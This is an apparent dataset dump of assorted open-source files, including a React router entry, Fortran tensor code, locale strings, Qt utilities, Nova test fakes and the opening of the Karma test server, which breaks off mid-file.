text
stringlengths 2
100k
| meta
dict |
---|---|
import _ from "lodash";
import React from "react";
import ReactDOM from "react-dom";
import {IndexRoute, Route, Router, useRouterHistory} from "react-router";
import {createHistory} from 'history'
import {Button, Modal} from "react-bootstrap";
import {addLocaleData, FormattedMessage, IntlProvider} from "react-intl";
import {AppConfig} from "./utils/AppConfig";
import App from "./components/App";
import BaseClient from "./sdk/BaseClient";
import Main from "./components/Main";
import Login from "./components/Login";
import Workbench from "./components/workbench/Workbench";
import Repositories from "./components/repositories/Repositories";
import BranchesPage from "./components/branches/BranchesPage";
import Drops from "./components/drops/Drops";
import ScreenshotsPage from "./components/screenshots/ScreenshotsPage";
import Settings from "./components/settings/Settings";
import WorkbenchActions from "./actions/workbench/WorkbenchActions";
import RepositoryActions from "./actions/RepositoryActions";
import ScreenshotsPageActions from "./actions/screenshots/ScreenshotsPageActions";
import ScreenshotsHistoryStore from "./stores/screenshots/ScreenshotsHistoryStore";
import ScreenshotsRepositoryActions from "./actions/screenshots/ScreenshotsRepositoryActions";
import SearchConstants from "./utils/SearchConstants";
import UrlHelper from "./utils/UrlHelper";
import SearchParamsStore from "./stores/workbench/SearchParamsStore";
import IctMetadataBuilder from "./ict/IctMetadataBuilder";
import LocationHistory from "./utils/LocationHistory";
// NOTE this way of adding locale data is only recommeneded if there are a few locales.
// if there are more, we should load it dynamically using script tags
// https://github.com/yahoo/react-intl/wiki#locale-data-in-browsers
import en from 'react-intl/locale-data/en';
import fr from 'react-intl/locale-data/fr';
import be from 'react-intl/locale-data/be';
import ko from 'react-intl/locale-data/ko';
import ru from 'react-intl/locale-data/ru';
import de from 'react-intl/locale-data/de';
import es from 'react-intl/locale-data/es';
import it from 'react-intl/locale-data/it';
import ja from 'react-intl/locale-data/ja';
import pt from 'react-intl/locale-data/pt';
import zh from 'react-intl/locale-data/zh';
import BranchesPageActions from "./actions/branches/BranchesPageActions";
import BranchesHistoryStore from "./stores/branches/BranchesHistoryStore";
import enMessages from '../../properties/en.properties';
import GoogleAnalytics from "./utils/GoogleAnalytics";
addLocaleData([...en, ...fr, ...be, ...ko, ...ru, ...de, ...es, ...it, ...ja, ...pt, ...zh]);
__webpack_public_path__ = APP_CONFIG.contextPath + "/";
const browserHistory = useRouterHistory(createHistory)({basename: APP_CONFIG.contextPath});
import(
/* webpackChunkName: "[request]", webpackMode: "lazy" */
`../../properties/${APP_CONFIG.locale}.properties`).then(messages => {
startApp(getMergedMessages(messages));
});
if (APP_CONFIG.googleAnalytics.enabled) {
let gaUserId = APP_CONFIG.user.username;
if (APP_CONFIG.googleAnalytics.hashedUserId) {
gaUserId = GoogleAnalytics.hash(gaUserId);
}
GoogleAnalytics.enable(APP_CONFIG.googleAnalytics.trackingId, gaUserId);
GoogleAnalytics.currentPageView();
}
function getMergedMessages(messages) {
return messages = _.merge(enMessages, messages);
}
function instrumentMessagesForIct(messages, locale) {
var localesMap = {
//TODO: finish
'fr': 'fr-FR',
'ko': 'ko-KR',
};
locale = _.get(localesMap, locale, locale);
Object.keys(messages).map((key) => {
let stack = new Error().stack; // stack is useless here but for tests
messages[key] = IctMetadataBuilder.getTranslationWithMetadata("mojito", null, key, locale, stack, messages[key]);
});
}
function startApp(messages) {
if (APP_CONFIG.ict) {
instrumentMessagesForIct(messages, APP_CONFIG.locale);
}
ReactDOM.render(
<AppConfig appConfig={APP_CONFIG}>
<IntlProvider locale={APP_CONFIG.locale} messages={messages}>
<Router history={browserHistory}>
<Route component={Main}>
<Route path="/" component={App}
onEnter={onEnterRoot}>
<Route path="workbench" component={Workbench}
onEnter={getAllRepositoriesDeffered}
onLeave={onLeaveWorkbench}/>
<Route path="repositories" component={Repositories}
onEnter={getAllRepositoriesDeffered}/>
<Route path="project-requests" component={Drops}/>
<Route path="branches" component={BranchesPage}
onEnter={onEnterBranches}
onLeave={() => {
BranchesPageActions.resetBranchesSearchParams();
}} />
<Route path="screenshots" component={ScreenshotsPage}
onEnter={onEnterScreenshots}
onLeave={ScreenshotsPageActions.resetScreenshotSearchParams}/>
<Route path="settings" component={Settings}/>
<IndexRoute component={Repositories}/>
</Route>
<Route path="login" component={Login}></Route>
</Route>
</Router>
</IntlProvider>
</AppConfig>
, document.getElementById("app")
);
/**
* Override handler to customise behavior
*/
BaseClient.authenticateHandler = function () {
let container = document.createElement("div");
container.setAttribute("id", "unauthenticated-container")
document.body.appendChild(container);
function okOnClick() {
let pathNameStrippedLeadingSlash = location.pathname.substr(1 + APP_CONFIG.contextPath.length, location.pathname.length);
let currentLocation = pathNameStrippedLeadingSlash + window.location.search;
if (APP_CONFIG.security.unauthRedirectTo) {
// if we don't log through login page we just reload the current location
// that needs to be improved eg. when navigating within the workbench if an api calls fails it will
// re-authenticate and the load the API response instead of showing the frontend
window.location.href = UrlHelper.getUrlWithContextPath(currentLocation);
} else {
// if log through the login page use showPage to redirect to the requested page before auth failed
window.location.href = UrlHelper.getUrlWithContextPath("/login?") + UrlHelper.toQueryString({"showPage": currentLocation});
}
}
ReactDOM.render(
<IntlProvider locale={APP_CONFIG.locale} messages={messages}>
<Modal show={true}>
<Modal.Header closeButton={true}>
<Modal.Title>
<FormattedMessage id="error.modal.header.title" />
</Modal.Title>
</Modal.Header>
<Modal.Body>
<FormattedMessage id="error.modal.message.loggedOut" />
</Modal.Body>
<Modal.Footer>
<Button bsStyle="primary" onClick={okOnClick}>
<FormattedMessage id="label.okay" />
</Button>
</Modal.Footer>
</Modal>
</IntlProvider>
, container);
};
}
/**
* When leaving the workbench, reset the search param so that when reloading the workbench will start from the
* default state (avoid flickr and stale data).
*/
function onLeaveWorkbench() {
setTimeout(() => {
WorkbenchActions.searchParamsChanged({
"changedParam": SearchConstants.UPDATE_ALL
});
}, 1);
}
function getAllRepositoriesDeffered() {
setTimeout(() => {
RepositoryActions.getAllRepositories();
}, 1);
}
function onEnterBranches() {
setTimeout(() => {
RepositoryActions.getAllRepositories();
BranchesPageActions.getBranches();
}, 1);
}
function onEnterScreenshots() {
setTimeout(() => {
ScreenshotsRepositoryActions.getAllRepositories();
}, 1);
}
function onEnterRoot() {
if (location.pathname === '/') {
getAllRepositoriesDeffered();
}
}
function loadBasedOnLocation(location) {
if (location.pathname === '/workbench' && location.action === 'POP') {
WorkbenchActions.searchParamsChanged(SearchParamsStore.convertQueryToSearchParams(location.query));
}
if (location.pathname === '/screenshots' && location.action === 'POP') {
ScreenshotsHistoryStore.initStoreFromLocationQuery(location.query);
}
if (location.pathname === '/branches' && location.action === 'POP') {
BranchesHistoryStore.initStoreFromLocationQuery(location.query);
}
}
function onScreenshotsHistoryStoreChange() {
if (!ScreenshotsHistoryStore.getState().skipLocationHistoryUpdate) {
LocationHistory.updateLocation(browserHistory, "/screenshots", ScreenshotsHistoryStore.getQueryParams());
}
}
ScreenshotsHistoryStore.listen(() => onScreenshotsHistoryStoreChange());
function onBranchesHistoryStoreChange() {
if (!BranchesHistoryStore.getState().skipLocationHistoryUpdate) {
LocationHistory.updateLocation(browserHistory, "/branches", BranchesHistoryStore.getQueryParams());
}
}
BranchesHistoryStore.listen(() => onBranchesHistoryStoreChange());
/**
* Listen to history changes, when doing a POP for the workbench, initialize
* the SearchParamStore from the query string
* For the first load the listener is not active, need to access the current
* location via getCurrentLocation
*/
let currentLocation = browserHistory.getCurrentLocation();
loadBasedOnLocation(currentLocation);
browserHistory.listen(location => {
loadBasedOnLocation(location);
GoogleAnalytics.currentPageView();
});
| {
"pile_set_name": "Github"
} |
SUBROUTINE OFFSET_ccsdt_lr_alpha2_9_15_1_2_1(l_a_offset,k_a_offset
&,size)
C $Id$
C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0
C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002)
C i4 ( h2 h4 h8 p5 p6 p7 )_y
IMPLICIT NONE
#include "global.fh"
#include "mafdecls.fh"
#include "sym.fh"
#include "errquit.fh"
#include "tce.fh"
INTEGER l_a_offset
INTEGER k_a_offset
INTEGER size
INTEGER length
INTEGER addr
INTEGER h2b
INTEGER h4b
INTEGER h8b
INTEGER p5b
INTEGER p6b
INTEGER p7b
length = 0
DO h2b = 1,noab
DO h4b = h2b,noab
DO h8b = h4b,noab
DO p5b = noab+1,noab+nvab
DO p6b = p5b,noab+nvab
DO p7b = p6b,noab+nvab
IF (int_mb(k_spin+h2b-1)+int_mb(k_spin+h4b-1)+int_mb(k_spin+h8b-1)
& .eq. int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1)+int_mb(k_spin+p7b-
&1)) THEN
IF (ieor(int_mb(k_sym+h2b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb(
&k_sym+h8b-1),ieor(int_mb(k_sym+p5b-1),ieor(int_mb(k_sym+p6b-1),int
&_mb(k_sym+p7b-1)))))) .eq. irrep_y) THEN
IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h4b-1
&)+int_mb(k_spin+h8b-1)+int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1)+i
&nt_mb(k_spin+p7b-1).ne.12)) THEN
length = length + 1
END IF
END IF
END IF
END DO
END DO
END DO
END DO
END DO
END DO
IF (.not.MA_PUSH_GET(mt_int,2*length+1,'noname',l_a_offset,k_a_off
&set)) CALL ERRQUIT('ccsdt_lr_alpha2_9_15_1_2_1',0,MA_ERR)
int_mb(k_a_offset) = length
addr = 0
size = 0
DO h2b = 1,noab
DO h4b = h2b,noab
DO h8b = h4b,noab
DO p5b = noab+1,noab+nvab
DO p6b = p5b,noab+nvab
DO p7b = p6b,noab+nvab
IF (int_mb(k_spin+h2b-1)+int_mb(k_spin+h4b-1)+int_mb(k_spin+h8b-1)
& .eq. int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1)+int_mb(k_spin+p7b-
&1)) THEN
IF (ieor(int_mb(k_sym+h2b-1),ieor(int_mb(k_sym+h4b-1),ieor(int_mb(
&k_sym+h8b-1),ieor(int_mb(k_sym+p5b-1),ieor(int_mb(k_sym+p6b-1),int
&_mb(k_sym+p7b-1)))))) .eq. irrep_y) THEN
IF ((.not.restricted).or.(int_mb(k_spin+h2b-1)+int_mb(k_spin+h4b-1
&)+int_mb(k_spin+h8b-1)+int_mb(k_spin+p5b-1)+int_mb(k_spin+p6b-1)+i
&nt_mb(k_spin+p7b-1).ne.12)) THEN
addr = addr + 1
int_mb(k_a_offset+addr) = p7b - noab - 1 + nvab * (p6b - noab - 1
&+ nvab * (p5b - noab - 1 + nvab * (h8b - 1 + noab * (h4b - 1 + noa
&b * (h2b - 1)))))
int_mb(k_a_offset+length+addr) = size
size = size + int_mb(k_range+h2b-1) * int_mb(k_range+h4b-1) * int_
&mb(k_range+h8b-1) * int_mb(k_range+p5b-1) * int_mb(k_range+p6b-1)
&* int_mb(k_range+p7b-1)
END IF
END IF
END IF
END DO
END DO
END DO
END DO
END DO
END DO
RETURN
END
| {
"pile_set_name": "Github"
} |
// Bosnian
(function () {
var numpf;
numpf = function (n, f, s, t) {
var n10;
n10 = n % 10;
if (n10 === 1 && (n === 1 || n > 20)) {
return f;
} else if (n10 > 1 && n10 < 5 && (n > 20 || n < 10)) {
return s;
} else {
return t;
}
};
jQuery.timeago.settings.strings = {
prefixAgo: "prije",
prefixFromNow: "za",
suffixAgo: null,
suffixFromNow: null,
second: "sekund",
seconds: function (value) {
return numpf(value, "%d sekund", "%d sekunde", "%d sekundi");
},
minute: "oko minut",
minutes: function (value) {
return numpf(value, "%d minut", "%d minute", "%d minuta");
},
hour: "oko sat",
hours: function (value) {
return numpf(value, "%d sat", "%d sata", "%d sati");
},
day: "oko jednog dana",
days: function (value) {
return numpf(value, "%d dan", "%d dana", "%d dana");
},
month: "mjesec dana",
months: function (value) {
return numpf(value, "%d mjesec", "%d mjeseca", "%d mjeseci");
},
year: "prije godinu dana ",
years: function (value) {
return numpf(value, "%d godinu", "%d godine", "%d godina");
},
wordSeparator: " "
};
}).call(this); | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!-- Copyright (C) 2017 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<resources xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
<string name="app_label" msgid="4470785958457506021">"Companion Device Manager"</string>
<string name="chooser_title" msgid="4958797271463138976">"Свързване с(ъс) <strong><xliff:g id="APP_NAME">%1$s</xliff:g></strong>"</string>
<string name="confirmation_title" msgid="5683126664999349196">"Свържете <strong><xliff:g id="APP_NAME">%1$s</xliff:g></strong> с(ъс) <strong><xliff:g id="DEVICE_NAME">%2$s</xliff:g></strong>"</string>
</resources>
| {
"pile_set_name": "Github"
} |
to FuckYouGithub
resetall
hideturtle
fd 20 left 180
fd 40 left 180
fd 20 right 90
fd 20 left 90
fd 20 left 180
fd 40 left 90
fd 20 left 90
fd 20 right 90
fd 20 right 90
fd 10 right 90
fd 20 left 90
fd 10 left 90
fd 30 left 90
fd 40 left 180
fd 40 left 90
fd 20 left 90
fd 40 left 180
fd 40 left 90
fd 40 left 90
fd 20 left 90
fd 20 left 90
fd 20 left 90
fd 60 left 90
fd 40 left 180
fd 40 left 90
fd 20 left 90
fd 20 left 180
fd 20 left 90
fd 20 left 90
fd 40 left 180
fd 40 left 90
fd 40 left 90
fd 20 left 90
fd 20 left 90
fd 20 left 90
fd 40 left 90
fd 20 right 90
fd 20 right 90
fd 5 left 90
fd 5 left 90
fd 25 left 180
fd 40 left 90
fd 40 left 90
fd 20 left 90
fd 20 left 90
fd 20 left 90
fd 20 left 90
fd 40 left 180
fd 40
end
| {
"pile_set_name": "Github"
} |
#include <GuiFoundationPCH.h>
#include <Foundation/Math/BoundingBox.h>
#include <Foundation/Math/Declarations.h>
#include <GuiFoundation/Widgets/WidgetUtils.h>
#include <QApplication>
#include <QRect>
QScreen& ezWidgetUtils::GetClosestScreen(const QPoint& point)
{
QScreen* pClosestScreen = QApplication::screenAt(point);
if (pClosestScreen == nullptr)
{
QList<QScreen*> screens = QApplication::screens();
float fShortestDistance = ezMath::Infinity<float>();
for (QScreen* pScreen : screens)
{
const QRect geom = pScreen->geometry();
ezBoundingBox ezGeom;
ezGeom.SetCenterAndHalfExtents(ezVec3(geom.center().x(), geom.center().y(), 0), ezVec3(geom.width() / 2.0f, geom.height() / 2.0f, 0));
const ezVec3 ezPoint(point.x(), point.y(), 0);
if (ezGeom.Contains(ezPoint))
{
return *pScreen;
}
float fDistance = ezGeom.GetDistanceSquaredTo(ezPoint);
if (fDistance < fShortestDistance)
{
fShortestDistance = fDistance;
pClosestScreen = pScreen;
}
}
EZ_ASSERT_DEV(pClosestScreen != nullptr, "There are no screens connected, UI cannot function.");
}
return *pClosestScreen;
}
void ezWidgetUtils::AdjustGridDensity(
double& fFinestDensity, double& fRoughDensity, ezUInt32 uiWindowWidth, double fViewportSceneWidth, ezUInt32 uiMinPixelsForStep)
{
const double fMaxStepsFitInWindow = (double)uiWindowWidth / (double)uiMinPixelsForStep;
const double fStartDensity = fFinestDensity;
ezInt32 iFactor = 1;
double fNewDensity = fFinestDensity;
ezInt32 iFactors[2] = {5, 2};
ezInt32 iLastFactor = 0;
while (true)
{
const double fStepsAtDensity = fViewportSceneWidth / fNewDensity;
if (fStepsAtDensity < fMaxStepsFitInWindow)
break;
iFactor *= iFactors[iLastFactor];
fNewDensity = fStartDensity * iFactor;
iLastFactor = (iLastFactor + 1) % 2;
}
fFinestDensity = fStartDensity * iFactor;
iFactor *= iFactors[iLastFactor];
fRoughDensity = fStartDensity * iFactor;
}
void ezWidgetUtils::ComputeGridExtentsX(const QRectF& viewportSceneRect, double fGridStops, double& out_fMinX, double& out_fMaxX)
{
out_fMinX = ezMath::RoundDown((double)viewportSceneRect.left(), fGridStops);
out_fMaxX = ezMath::RoundUp((double)viewportSceneRect.right(), fGridStops);
}
void ezWidgetUtils::ComputeGridExtentsY(const QRectF& viewportSceneRect, double fGridStops, double& out_fMinY, double& out_fMaxY)
{
out_fMinY = ezMath::RoundDown((double)viewportSceneRect.top(), fGridStops);
out_fMaxY = ezMath::RoundUp((double)viewportSceneRect.bottom(), fGridStops);
}
| {
"pile_set_name": "Github"
} |
<Workspace Version="0.7.5.3566" X="211.750015300907" Y="319.164800445981" zoom="1.20739804276316" Description="Rounds a point coordinate *down* to a specified precision" Category="Clockwork.Geometry.Point.Actions" Name="Point.RoundDownToPrecision" ID="5ce3f172-9e4f-4ad3-8bff-b3c2f68fd3cf">
<Elements>
<Dynamo.Nodes.Symbol type="Dynamo.Nodes.Symbol" guid="0f4478a4-0043-4c64-9f92-03784bb7ff13" nickname="Input" x="0" y="0" isVisible="true" isUpstreamVisible="true" lacing="Disabled">
<Symbol value="Point(s)" />
</Dynamo.Nodes.Symbol>
<Dynamo.Nodes.Output type="Dynamo.Nodes.Output" guid="fe9a8650-8bc5-44c2-9a4e-aba62d053e0e" nickname="Output" x="678" y="68.1266666666667" isVisible="true" isUpstreamVisible="true" lacing="Disabled">
<Symbol value="Point(s)" />
</Dynamo.Nodes.Output>
<Dynamo.Nodes.Symbol type="Dynamo.Nodes.Symbol" guid="325c9c10-55b8-4128-8851-ed072e2f79dc" nickname="Input" x="0" y="83.5633333333334" isVisible="true" isUpstreamVisible="true" lacing="Disabled">
<Symbol value="Precision" />
</Dynamo.Nodes.Symbol>
<Dynamo.Nodes.CodeBlockNodeModel type="Dynamo.Nodes.CodeBlockNodeModel" guid="06e8810e-c3a9-4199-a74e-1da7b400e4d6" nickname="Code Block" x="191" y="37.2183333333334" isVisible="true" isUpstreamVisible="true" lacing="Disabled" CodeText="a = {po.X,po.Y,po.Z};
ar = Math.Floor(a/pr)*pr;
Point.ByCoordinates(ar[0],ar[1],ar[2]);" ShouldFocus="false" />
</Elements>
<Connectors>
<Dynamo.Models.ConnectorModel start="0f4478a4-0043-4c64-9f92-03784bb7ff13" start_index="0" end="06e8810e-c3a9-4199-a74e-1da7b400e4d6" end_index="0" portType="0" />
<Dynamo.Models.ConnectorModel start="325c9c10-55b8-4128-8851-ed072e2f79dc" start_index="0" end="06e8810e-c3a9-4199-a74e-1da7b400e4d6" end_index="1" portType="0" />
<Dynamo.Models.ConnectorModel start="06e8810e-c3a9-4199-a74e-1da7b400e4d6" start_index="2" end="fe9a8650-8bc5-44c2-9a4e-aba62d053e0e" end_index="0" portType="0" />
</Connectors>
<Notes />
</Workspace> | {
"pile_set_name": "Github"
} |
#!/bin/sh
# shellcheck source=e2e-test-subrs
. "$(dirname "$0")/e2e-test-subrs"
PATH=$PATH:.:$srcdir
# Top-level wrapper.
if [ $# -eq 0 ]; then
e2e-test "$0" baseline direct variant verify same
exit
fi
# OK, we have arguments, we're one of the test hooks.
if [ $# -ne 1 ]; then
fail "bad arguments %s\n" "$@"
fi
baseline()
{
printf "\033[H\033[J"
}
case $1 in
baseline|direct|variant)
baseline;;
*)
fail "unknown test argument %s\n" "$1";;
esac
| {
"pile_set_name": "Github"
} |
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct cb
{
float value;
};
// Returns 2D texture coords corresponding to 1D texel buffer coords
static inline __attribute__((always_inline))
uint2 spvTexelBufferCoord(uint tc)
{
return uint2(tc % 4096, tc / 4096);
}
kernel void main0(constant cb& _6 [[buffer(0)]], texture2d<float, access::write> _buffer [[texture(0)]], uint3 gl_WorkGroupID [[threadgroup_position_in_grid]], uint gl_LocalInvocationIndex [[thread_index_in_threadgroup]])
{
_buffer.write(float4(_6.value), spvTexelBufferCoord(((32u * gl_WorkGroupID.x) + gl_LocalInvocationIndex)));
}
| {
"pile_set_name": "Github"
} |
# Copyright 2013 IBM Corp.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import datetime
from oslo_serialization import jsonutils
from oslo_utils import uuidutils
from nova import objects
from nova.objects import fields
def fake_db_secgroups(instance, names):
secgroups = []
for i, name in enumerate(names):
group_name = 'secgroup-%i' % i
if isinstance(name, dict) and name.get('name'):
group_name = name.get('name')
secgroups.append(
{'id': i,
'instance_uuid': instance['uuid'],
'name': group_name,
'description': 'Fake secgroup',
'user_id': instance['user_id'],
'project_id': instance['project_id'],
'deleted': False,
'deleted_at': None,
'created_at': None,
'updated_at': None,
})
return secgroups
def fake_db_instance(**updates):
if 'instance_type' in updates:
if isinstance(updates['instance_type'], objects.Flavor):
flavor = updates['instance_type']
else:
flavor = objects.Flavor(**updates['instance_type'])
flavorinfo = jsonutils.dumps({
'cur': flavor.obj_to_primitive(),
'old': None,
'new': None,
})
else:
flavorinfo = None
db_instance = {
'id': 1,
'deleted': False,
'uuid': uuidutils.generate_uuid(),
'user_id': 'fake-user',
'project_id': 'fake-project',
'host': 'fake-host',
'created_at': datetime.datetime(1955, 11, 5),
'pci_devices': [],
'security_groups': [],
'metadata': {},
'system_metadata': {},
'root_gb': 0,
'ephemeral_gb': 0,
'extra': {'pci_requests': None,
'flavor': flavorinfo,
'numa_topology': None,
'vcpu_model': None,
'device_metadata': None,
'trusted_certs': None,
'resources': None,
},
'tags': [],
'services': []
}
for name, field in objects.Instance.fields.items():
if name in db_instance:
continue
if field.nullable:
db_instance[name] = None
elif field.default != fields.UnspecifiedDefault:
db_instance[name] = field.default
elif name in ['flavor', 'ec2_ids', 'keypairs']:
pass
else:
raise Exception('fake_db_instance needs help with %s' % name)
if updates:
db_instance.update(updates)
if db_instance.get('security_groups'):
db_instance['security_groups'] = fake_db_secgroups(
db_instance, db_instance['security_groups'])
return db_instance
def fake_instance_obj(context, obj_instance_class=None, **updates):
if obj_instance_class is None:
obj_instance_class = objects.Instance
expected_attrs = updates.pop('expected_attrs', None)
flavor = updates.pop('flavor', None)
if not flavor:
flavor = objects.Flavor(id=1, name='flavor1',
memory_mb=256, vcpus=1,
root_gb=1, ephemeral_gb=1,
flavorid='1',
swap=0, rxtx_factor=1.0,
vcpu_weight=1,
disabled=False,
is_public=True,
extra_specs={},
projects=[])
inst = obj_instance_class._from_db_object(context,
obj_instance_class(), fake_db_instance(**updates),
expected_attrs=expected_attrs)
inst.keypairs = objects.KeyPairList(objects=[])
inst.tags = objects.TagList()
if flavor:
inst.flavor = flavor
# This is needed for instance quota counting until we have the
# ability to count allocations in placement.
if 'vcpus' in flavor and 'vcpus' not in updates:
inst.vcpus = flavor.vcpus
if 'memory_mb' in flavor and 'memory_mb' not in updates:
inst.memory_mb = flavor.memory_mb
if ('instance_type_id' not in inst or
inst.instance_type_id is None and
'id' in flavor):
inst.instance_type_id = flavor.id
inst.old_flavor = None
inst.new_flavor = None
inst.resources = None
inst.migration_context = None
inst.obj_reset_changes(recursive=True)
return inst
def fake_fault_obj(context, instance_uuid, code=404,
message='HTTPNotFound',
details='Stock details for test',
**updates):
fault = {
'id': 1,
'instance_uuid': instance_uuid,
'code': code,
'message': message,
'details': details,
'host': 'fake_host',
'deleted': False,
'created_at': datetime.datetime(2010, 10, 10, 12, 0, 0),
'updated_at': None,
'deleted_at': None
}
if updates:
fault.update(updates)
return objects.InstanceFault._from_db_object(context,
objects.InstanceFault(),
fault)
| {
"pile_set_name": "Github"
} |
import { gql } from 'apollo-server-micro';
const typeDefs = gql`
extend type Query {
"""
Retorna o endereço com base no CEP fornecido
"""
cep(
"""
CEP deve **sempre** conter 8 caracteres
[**[referência](https://pt.wikipedia.org/wiki/C%C3%B3digo_de_Endere%C3%A7amento_Postal)**]
"""
cep: String!
): Address
}
"""
Endereço
"""
type Address {
cep: String
state: String
city: String
street: String
neighborhood: String
}
`;
export default typeDefs;
| {
"pile_set_name": "Github"
} |
{
"lint": {
"rules": ["polymer-2-hybrid"]
}
}
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>files</key>
<dict/>
<key>files2</key>
<dict/>
<key>rules</key>
<dict>
<key>^Resources/</key>
<true/>
<key>^Resources/.*\.lproj/</key>
<dict>
<key>optional</key>
<true/>
<key>weight</key>
<real>1000</real>
</dict>
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
<key>^Resources/Base\.lproj/</key>
<dict>
<key>weight</key>
<real>1010</real>
</dict>
<key>^version.plist$</key>
<true/>
</dict>
<key>rules2</key>
<dict>
<key>.*\.dSYM($|/)</key>
<dict>
<key>weight</key>
<real>11</real>
</dict>
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
<key>^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/</key>
<dict>
<key>nested</key>
<true/>
<key>weight</key>
<real>10</real>
</dict>
<key>^.*</key>
<true/>
<key>^Info\.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
<key>^Resources/</key>
<dict>
<key>weight</key>
<real>20</real>
</dict>
<key>^Resources/.*\.lproj/</key>
<dict>
<key>optional</key>
<true/>
<key>weight</key>
<real>1000</real>
</dict>
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
<key>^Resources/Base\.lproj/</key>
<dict>
<key>weight</key>
<real>1010</real>
</dict>
<key>^[^/]+$</key>
<dict>
<key>nested</key>
<true/>
<key>weight</key>
<real>10</real>
</dict>
<key>^embedded\.provisionprofile$</key>
<dict>
<key>weight</key>
<real>20</real>
</dict>
<key>^version\.plist$</key>
<dict>
<key>weight</key>
<real>20</real>
</dict>
</dict>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
var io = require('socket.io');
var net = require('net');
var cfg = require('./config');
var ws = require('./web-server');
var logger = require('./logger');
var browser = require('./browser');
var reporter = require('./reporter');
var events = require('./events');
var constant = require('./constants');
var watcher = require('./watcher');
var preprocessor = require('./preprocessor');
var Launcher = require('./launcher').Launcher;
var FileList = require('./file-list').List;
var helper = require('./helper');
// TODO(vojta): get this whole mess under test
exports.start = function(cliOptions, done) {
var config = cfg.parseConfig(cliOptions.configFile, cliOptions);
// Make done callback optional so it's backwards compatible
if (!helper.isFunction(done)) {
done = process.exit;
}
logger.setup(config.logLevel, config.colors, config.loggers);
var log = logger.create();
var globalEmitter = new events.EventEmitter();
var launcher = new Launcher(globalEmitter);
var preprocess = preprocessor.createPreprocessor(config.preprocessors, config.basePath);
var fileList = new FileList(config.files, config.exclude, globalEmitter, preprocess, 250);
// TODO(vojta): wait for fileList resolving before serving first request...
var filesPromise = fileList.refresh();
if (config.autoWatch) {
filesPromise.then(function() {
watcher.watch(config.files, config.exclude, fileList);
});
}
var webServer = ws.createWebServer(config.basePath, config.proxies, config.urlRoot);
var socketServer = io.listen(webServer, {
logger: logger.create('socket.io', constant.LOG_ERROR),
resource: config.urlRoot + 'socket.io',
transports: ['websocket', 'flashsocket', 'xhr-polling', 'jsonp-polling']
});
webServer.updateFilesPromise(filesPromise);
webServer.on('error', function(e) {
if (e.code === 'EADDRINUSE') {
log.warn('Port %d in use', config.port);
config.port++;
webServer.listen(config.port);
} else {
throw e;
}
});
webServer.listen(config.port, function() {
log.info('Karma server started at http://' + config.hostname + ':' + config.port + config.urlRoot);
if (config.browsers && config.browsers.length) {
launcher.launch(config.browsers, config.hostname, config.port, config.urlRoot, config.captureTimeout, 3);
}
});
var resultReporter = reporter.createReporters(config.reporters, config, globalEmitter);
resultReporter.reporters.forEach(function(reporter) {
globalEmitter.bind(reporter);
});
var capturedBrowsers = new browser.Collection(globalEmitter);
var executionScheduled = false;
var pendingCount = 0;
var runningBrowsers;
globalEmitter.on('browsers_change', function() {
// TODO(vojta): send only to interested browsers
socketServer.sockets.emit('info', capturedBrowsers.serialize());
});
globalEmitter.on('browser_register', function(browser) {
if (browser.launchId) {
launcher.markCaptured(browser.launchId);
}
// TODO(vojta): This is lame, browser can get captured and then crash (before other browsers get
// captured).
if ((config.autoWatch || config.singleRun) && launcher.areAllCaptured()) {
tryExecution();
}
});
var tryExecution = function() {
var nonReady = [];
if (!capturedBrowsers.length) {
log.warn('No captured browser, open http://' + config.hostname + ':' + config.port + config.urlRoot);
return false;
} else if (capturedBrowsers.areAllReady(nonReady)) {
log.debug('All browsers are ready, executing');
executionScheduled = false;
capturedBrowsers.setAllIsReadyTo(false);
capturedBrowsers.clearResults();
pendingCount = capturedBrowsers.length;
runningBrowsers = capturedBrowsers.clone();
globalEmitter.emit('run_start', runningBrowsers);
socketServer.sockets.emit('execute', {});
return true;
} else {
log.info('Delaying execution, these browsers are not ready: ' + nonReady.join(', '));
executionScheduled = true;
return false;
}
};
globalEmitter.on('browser_complete', function(browser) {
pendingCount--;
if (!pendingCount) {
